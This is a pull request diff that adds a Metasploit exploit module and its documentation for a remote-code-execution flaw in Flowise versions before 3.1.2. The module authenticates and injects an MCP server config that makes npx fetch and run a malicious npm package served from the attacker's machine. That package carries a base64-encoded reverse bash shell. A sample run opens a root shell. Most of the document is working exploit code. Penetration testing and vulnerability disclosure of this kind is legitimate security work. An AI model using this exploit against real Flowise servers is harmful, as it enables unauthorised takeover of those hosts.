Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
50 changes: 50 additions & 0 deletions documentation/modules/exploit/multi/http/flowise_mcp_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
## Vulnerable Application

Flowise is an open-source UI visual tool to build LLM apps. Versions prior to
3.1.2 are vulnerable to remote code execution through the Custom MCP (Model
Context Protocol) node configuration.

A docker-compose.yml using flowiseai/flowise:3.1.1 can be used to set up the
test environment:

docker compose up -d

## Verification Steps

1. Start msfconsole
2. use exploit/multi/http/flowise_mcp_rce
3. set RHOSTS <target>
4. set USERNAME <email>
5. set PASSWORD <password>
6. set LHOST <your_ip>
7. run check
8. run

## Options

**USERNAME**

The Flowise account email address used to authenticate.

**PASSWORD**

The Flowise account password used to authenticate.

## Scenarios

### Flowise 3.1.1 on Docker (Linux target)

msf exploit(multi/http/flowise_mcp_rce) > run

[*] Started reverse TCP handler on 192.168.x.x:4444
[*] Building malicious npm package tar in memory...
[+] Tar package built in memory (3584 bytes)
[*] Using URL: http://192.168.x.x:8000/msf.tar
[*] Server started.
[*] Authenticating as [REDACTED]...
[+] Authentication successful
[*] Sending malicious MCP node config...
[+] Serving malicious tar package to 192.168.x.x (GET /msf.tar)
[*] Command shell session 1 opened
/ # whoami
root
295 changes: 295 additions & 0 deletions modules/exploits/multi/http/flowise_mcp_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,295 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rubygems/package'
require 'stringio'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Flowise MCP Server Remote Code Execution',
'Description' => %q{
Flowise versions prior to 3.1.2 are vulnerable to remote code execution
through the Custom MCP (Model Context Protocol) node configuration.

The vulnerability exists in the /api/v1/node-load-method/customMCP endpoint,
which accepts arbitrary command and argument configurations for MCP server
initialization. An authenticated attacker can abuse the npx --yes flag to
fetch and execute a malicious npm package from an attacker-controlled HTTP
server, achieving arbitrary command execution on the Flowise host.

This module creates a malicious npm package tar archive in memory, serves it
via Metasploit's built-in HTTP server, then triggers the vulnerable endpoint
to download and execute the package via npx.

To interact with the obtained shell, use the command: sessions -i <id>
(for example: sessions -i 1).
},
'License' => MSF_LICENSE,
'Author' => [
'cn-panda', # Vulnerability discovery
'ABDUL JAFAROV <https://github.com/jafarov007>' # Metasploit module
],
'References' => [
['CVE', '2026-56274'],
['CWE', '78'],
['GHSA', 'GHSA-m99r-2hxc-cp3q'],
['URL', 'https://console.vulncheck.com/cve/CVE-2026-56274']
],
'DisclosureDate' => '2026-06-23',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Targets' => [
['Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD }]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash',
'LPORT' => 4444,
'SRVPORT' => 8000,
'URIPATH' => '/msf.tar',
'SSL' => false,
'WfsDelay' => 30
},
'Privileged' => false,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Flowise base path', '/']),
OptString.new('USERNAME', [true, 'Flowise username (email)']),
OptString.new('PASSWORD', [true, 'Flowise password'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'version')
})

return Exploit::CheckCode::Unknown('Connection failed') unless res

if res.code == 200
begin
version = res.get_json_document['version']
if version && Rex::Version.new(version) < Rex::Version.new('3.1.2')
return Exploit::CheckCode::Vulnerable("Flowise #{version} detected")
end
rescue StandardError
# version parse edilemedi, devam et
end
end

Exploit::CheckCode::Safe('Not a Flowise instance or already patched')
end

# Build the malicious npm package tar archive entirely in memory.
# npm/npx expects tar entries under a "package/" prefix directory.
def create_tar_package
print_status('Building malicious npm package tar in memory...')

index_js = <<~JS
#!/usr/bin/env node
const { execSync } = require('child_process');
try { execSync(Buffer.from('#{Rex::Text.encode_base64(payload.encoded)}','base64').toString(), { stdio: 'inherit' }); } catch (e) {}
JS

package_json = {
'name' => 'attacker-mcp-pkg',
'version' => '1.0.0',
'bin' => {
'attacker-mcp-pkg' => './index.js'
}
}.to_json

tar_io = StringIO.new(''.b)

Gem::Package::TarWriter.new(tar_io) do |tar|
tar.add_file_simple("package/package.json", 0644, package_json.bytesize) do |f|
f.write(package_json)
end

tar.add_file_simple("package/index.js", 0755, index_js.bytesize) do |f|
f.write(index_js)
end
end

tar_io.rewind
data = tar_io.string

print_good("Tar package built in memory (#{data.bytesize} bytes)")
data
end

# HttpServer callback — serves the tar package to npx.
# Only receives requests matching URIPATH (/msf.tar).
def on_request_uri(cli, request)
print_good("Serving malicious tar package to #{cli.peerhost} (#{request.method} #{request.uri})")
send_response(cli, @tar_data, {
'Content-Type' => 'application/x-tar',
'Content-Disposition' => 'attachment; filename=msf.tar'
})
end

# Called automatically by HttpServer once the server is ready.
# This is where we perform the client-side attack.
def primer
cookie = do_login
send_exploit_payload(cookie)
end

def do_login
print_status("Authenticating as #{datastore['USERNAME']}...")

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'auth', 'login'),
'ctype' => 'application/json',
'data' => {
'email' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}.to_json
})

unless res && res.code == 200
fail_with(Failure::NoAccess, "Login failed (HTTP #{res&.code || 'no response'})")
end

cookies = res.get_cookies
token_match = cookies.match(/token=([^;]+)/)
refresh_match = cookies.match(/refreshToken=([^;]+)/)
sid_match = cookies.match(/connect\.sid=([^;]+)/)

unless token_match
fail_with(Failure::NoAccess, 'No auth token received in login response')
end

cookie_parts = []
cookie_parts << "token=#{token_match[1]}" if token_match
cookie_parts << "refreshToken=#{refresh_match[1]}" if refresh_match
cookie_parts << "connect.sid=#{sid_match[1]}" if sid_match
cookie_string = cookie_parts.join('; ')

print_good('Authentication successful')
cookie_string
end

def send_exploit_payload(cookie)
tar_url = get_uri

print_status("Sending malicious MCP node config (tar URL: #{tar_url})...")

mcp_server_config = {
'command' => 'npx',
'args' => ['--yes', tar_url]
}

node_data = {
'loadMethods' => {},
'label' => 'Custom MCP',
'name' => 'customMCP',
'version' => 1.1,
'type' => 'Custom MCP Tool',
'icon' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/customMCP.png',
'category' => 'Tools (MCP)',
'description' => 'Custom MCP Config',
'inputs' => {
'mcpServerConfig' => mcp_server_config.to_json,
'mcpActions' => ''
},
'baseClasses' => ['Tool'],
'filePath' => '/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/nodes/tools/MCP/CustomMCP/CustomMCP.js',
'inputAnchors' => [],
'inputParams' => [
{
'label' => 'MCP Server Config',
'name' => 'mcpServerConfig',
'type' => 'code',
'hideCodeExecute' => true,
'hint' => {
'label' => 'How to use',
'value' => "\nYou can use variables in the MCP Server Config with double curly braces `{{ }}` and prefix `$vars.<variableName>`."
},
'placeholder' => "{\n \"command\": \"npx\",\n \"args\": [\"-y\", \"@modelcontextprotocol/server-filesystem\", \"/path/to/allowed/files\"]\n}",
'id' => 'customMCP_0-input-mcpServerConfig-code',
'display' => true
},
{
'label' => 'Available Actions',
'name' => 'mcpActions',
'type' => 'asyncMultiOptions',
'loadMethod' => 'listActions',
'refresh' => true,
'id' => 'customMCP_0-input-mcpActions-asyncMultiOptions',
'display' => true
}
],
'outputs' => {},
'outputAnchors' => [
{
'id' => 'customMCP_0-output-customMCP-Tool',
'name' => 'customMCP',
'label' => 'Custom MCP Tool',
'description' => 'Custom MCP Config',
'type' => 'Tool'
}
],
'id' => 'customMCP_0',
'selected' => true,
'loadMethod' => 'listActions',
'previousNodes' => [],
'currentNode' => {
'id' => 'customMCP_0',
'name' => 'customMCP',
'label' => 'Custom MCP',
'inputs' => {
'mcpServerConfig' => mcp_server_config.to_json,
'mcpActions' => ''
}
}
}

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'node-load-method', 'customMCP'),
'ctype' => 'application/json',
'headers' => {
'x-request-from' => 'internal',
'Cookie' => cookie
},
'data' => node_data.to_json
})

if res && res.code == 200
print_good("Exploit payload delivered successfully (HTTP #{res.code})")
print_status('Waiting for npx to fetch tar and execute payload...')
else
print_warning("Exploit request returned HTTP #{res&.code || 'no response'}")
end
end

def exploit
# Build the tar package in memory (needs payload to be generated first)
@tar_data = create_tar_package

# Start the HttpServer (serves tar) and trigger primer (sends exploit).
# HttpServer#exploit (super) starts the server, calls primer(), then waits
# for the handler to receive a session.
super
end
end
Loading